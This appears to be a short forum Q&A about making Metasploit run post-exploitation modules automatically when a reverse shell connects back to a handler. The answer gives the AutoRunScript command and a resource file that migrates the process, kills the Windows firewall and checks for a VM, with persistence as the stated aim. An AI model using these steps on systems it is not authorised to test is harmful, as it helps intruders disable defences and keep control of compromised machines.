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Is it possible to automatically kick of a Metasploit script when a TCP Reverse Shell connection connects back into the handler?

e.g. Reverse-Shell connects back in, automatically kick off a script that will make the connection persistent.

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Yes. You can do this using the AutoRunScript function.

set AutoRunScript multi_console_command -rc /root/commands.rc

Where /root/commands.rc contains the commands you with to run.

For example

run post/windows/manage/migrate
run post/windows/manage/killfw
run post/windows/gather/checkvm

From this point it would be trivial to gain persistence.

For more information check these resources:

Autoscript

Metasploit automatic module execution on receival of shell?

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